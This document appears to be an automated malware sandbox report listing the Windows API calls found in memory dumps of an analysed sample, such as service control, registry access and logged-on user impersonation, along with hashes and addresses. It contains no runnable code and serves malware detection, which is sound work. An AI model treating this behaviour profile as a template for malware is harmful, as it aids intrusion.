Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a9109a678112f0d6fb45b322b572f64fbe948839eeabd3d4866e5c728fba01
Instruction ID: 768ee89f4d59a695bb873f8314777347dbf06ebb7254e49d1b8c97e1f18652f9
Opcode Fuzzy Hash: 05a9109a678112f0d6fb45b322b572f64fbe948839eeabd3d4866e5c728fba01
Instruction Fuzzy Hash: 0701F4736845C28ED3169B3888463A4BBF1EB51744F6845AAD095CB5E7F3AD08C6D300

Function 00B00402 Relevance: 4.6, APIs: 3, Instructions: 65
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00B00869
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00B00890
GetNativeSystemInfo.KERNELBASE(?), ref: 00B008E7

Memory Dump Source

Source File: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: ce1c97ed324cbcf01bc88eca30b98f492e920d1b10e3c36353e60d7255f8eb76
Instruction ID: 9eaff715ede7cb5645c39413c407dff52539ae67cd489c0dda8117b6110e3ccb
Opcode Fuzzy Hash: ce1c97ed324cbcf01bc88eca30b98f492e920d1b10e3c36353e60d7255f8eb76
Instruction Fuzzy Hash: 5921047241425E9EEF11EF60C848BEF3BB9FB04300F004526E94696991E7B68CB4DF59

Function 05300D42 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05300DCD

Strings

8xoo, xrefs: 05300D6A

Memory Dump Source

Source File: 00000004.00000002.2540494134.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5300000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: ManagerOpen
String ID: 8xoo
API String ID: 1889721586-1901149467
Opcode ID: fe368c4a583882d6657dd101bde3218663d17d3fc20d592b0de67b07726d171d
Instruction ID: 3acaf8737118ac194d7fede59467037ff2395e8c706ea3a0fd44830ad65473f0
Opcode Fuzzy Hash: fe368c4a583882d6657dd101bde3218663d17d3fc20d592b0de67b07726d171d
Instruction Fuzzy Hash: 682134B6C013199FCB54CF99D885BDEFBB4FF88720F14812AD918AB244D774A541CBA4

Function 05300D48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05300DCD

Strings

8xoo, xrefs: 05300D6A

Memory Dump Source

Source File: 00000004.00000002.2540494134.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5300000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: ManagerOpen
String ID: 8xoo
API String ID: 1889721586-1901149467
Opcode ID: 80c8f5fad774869d883728cc0936ffe7c1089e4e344aba5e5cc2493270d92a19
Instruction ID: 646df4eb13529589db7a586deddad2edd4631269440ee431c8aa520ff22453db
Opcode Fuzzy Hash: 80c8f5fad774869d883728cc0936ffe7c1089e4e344aba5e5cc2493270d92a19
Instruction Fuzzy Hash: A52102B6C012199FCB54CF99D884BDEFBB5FB88720F14822AD909AB244D774A541CBA4

Function 05301510 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05301580

Strings

8xoo, xrefs: 0530152F

Memory Dump Source

Source File: 00000004.00000002.2540494134.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5300000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: ControlService
String ID: 8xoo
API String ID: 253159669-1901149467
Opcode ID: 723e779c4c36887bd0eea620af5048bc4e18f5468002081a880279c8ed7a898b
Instruction ID: c3353aaa9531076f092abbac847ca4508e2a6a8dc1a586d4af06e87fc309b6be
Opcode Fuzzy Hash: 723e779c4c36887bd0eea620af5048bc4e18f5468002081a880279c8ed7a898b
Instruction Fuzzy Hash: 3211D3B59003499FDB10CF9AC985BDEFBF4EB48320F108029E959A7250D778A644CFA5

Function 05301509 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05301580

Strings

8xoo, xrefs: 0530152F

Memory Dump Source

Source File: 00000004.00000002.2540494134.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5300000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: ControlService
String ID: 8xoo
API String ID: 253159669-1901149467
Opcode ID: 7dc762bbbc710c4e4310b956974ae4a5e64de0d83ee22987d17c64afce6d527b
Instruction ID: 07210e48bb0bcbaeb49947311e15ea0e3efaf966b05b3c209c3050fb1bd743b6
Opcode Fuzzy Hash: 7dc762bbbc710c4e4310b956974ae4a5e64de0d83ee22987d17c64afce6d527b
Instruction Fuzzy Hash: 1011F2B6D003098FDB10CF9AC585BDEBBF4AB48320F10842AE519A7240D378A644CFA1

Function 05301301 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05301367

Strings

8xoo, xrefs: 05301322

Memory Dump Source

Source File: 00000004.00000002.2540494134.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5300000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID: 8xoo
API String ID: 2216092060-1901149467
Opcode ID: 6c2ed119eef7f15bc1b0f21edf78e8dd8d0123eeb752e69a906c3a830f47c21a
Instruction ID: df44e2481ecf33cc08a4cd6af30ba6fca35908902a4c68d1eb7b3cd7e6d96f80
Opcode Fuzzy Hash: 6c2ed119eef7f15bc1b0f21edf78e8dd8d0123eeb752e69a906c3a830f47c21a
Instruction Fuzzy Hash: 6A1113B2800349CFDB10CF9AC945BDEBBF4EF48324F24846AD518A3240D7B8A554CFA5

Function 05301308 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05301367

Strings

8xoo, xrefs: 05301322

Memory Dump Source

Source File: 00000004.00000002.2540494134.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5300000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID: 8xoo
API String ID: 2216092060-1901149467
Opcode ID: 3f31c951c8763fb3517e53efc15f6b54d5185553201f5e3825e0ab03ecdf6a97
Instruction ID: 4da7011c710dba15269d1a2f3ffcf844ebdea6cc0af8858feb262ef9c84a3940
Opcode Fuzzy Hash: 3f31c951c8763fb3517e53efc15f6b54d5185553201f5e3825e0ab03ecdf6a97
Instruction Fuzzy Hash: 5C11F5B1800349CFDB10CF9AC945BDEBBF4EF48724F24846AD518A3650D778A544CFA5

Function 00AEF64B Relevance: 1.6, APIs: 1, Instructions: 136
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00AEF64B

Memory Dump Source

Source File: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 86d1bb02921859a9d7617187a3763e944e4e41b4e4fd23cb1154e5f69c1558cc
Instruction ID: c82ddc33c05d666540f2a9cb3a2ea12b57d7fbb712f7599bb1283421ee991351
Opcode Fuzzy Hash: 86d1bb02921859a9d7617187a3763e944e4e41b4e4fd23cb1154e5f69c1558cc
Instruction Fuzzy Hash: 0941A2B260D350AFE300AE19EC81ABAF7E8EF94760F16482EF6C5D3200D6355C4487A7

Function 00AF1826 Relevance: 1.6, APIs: 1, Instructions: 114
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,00AF1822,00000003,00000000,00000003,3BAD6F66), ref: 00AF18CE

Memory Dump Source

Source File: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b902dd872a20998313a822761450024aa365a3f9b10245adb98ca1b205cf1939
Instruction ID: 737c3023e58bdca422a85e2dd313d3cf722773bc820d85f896e86101306384e3
Opcode Fuzzy Hash: b902dd872a20998313a822761450024aa365a3f9b10245adb98ca1b205cf1939
Instruction Fuzzy Hash: A1216DB764821DBDB610CED56F60AFB77ACEAD1770B30882BF906C2502D2A10D0996B4

